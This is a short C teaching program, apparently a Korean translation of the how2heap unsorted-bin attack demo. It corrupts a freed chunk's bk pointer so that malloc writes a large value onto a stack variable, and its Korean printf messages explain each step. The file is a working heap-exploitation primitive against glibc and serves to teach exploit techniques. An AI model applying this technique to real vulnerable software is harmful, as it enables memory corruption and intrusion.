How2heap

심효빈

```
#include <stdio.h>
#include <stdlib.h>

        int main(){
                printf("스택 안에 쓰여진 큰 unsigned long 값에 의해 정렬되지 않은 bin 공격을
보여준다.\n");
                printf("실제로 unsorted bin 공격은 일반적으로 libc fastbin 에서 전역변수
global_max_fast 값을 덮어 쓰는것과 같은 추                    가적인 공격을 준비할수있다.\n");

                unsigned long stack_var=0;
                printf("첫번째 타겟을 살펴보자! 우리는 스택을 덮어씌울 것이다.\n");
                printf("%p: %ld\n\n", &stack_var, stack_var);

                unsigned long *p=malloc(400);
                printf("지금, 우리는 첫번째 노말청크를 힙위에 할당할 것이다 여기에 : %p\n",p);
                printf("그리고 첫번째 청크를 프리하는 동안에 꼭대기의 청크를 정리하는것을 피하기위해서
또다른 노말청크를 할당한다.\n\n");

                malloc(500);

                free(p);
                printf("우리는 지금 첫번째 청크를 프리한다 그리고 이 청크는 unsorted bin 에 bk 포인터와
함께 삽입될것이다. bk 포인터는 : %p\n",(void*)p[1]);


                //------------VULNERABILITY-----------

                p[1]=(unsigned long)(&stack_var-2);
                printf("지금 희생자의 bk 포인터를 덮어씌울수 있는 취약점을 실행하는 것이다.\n");

                printf("그리고 우리는 타겟 주소에 쓴다 (32 비트 머신은 타겟주소는 8 이여야
한다.):%p\n\n",(void*)p[1]);

                //-------------------------------------

                malloc(400);
                printf("우리가 방금 free 한 청크를 얻기위해 다시 malloc 을 하라. 동시에 타겟은 이미
고쳐써져있어야한다. : \n");

                printf("%p: %p\n", &stack_var, (void*)stack_var);
        }
```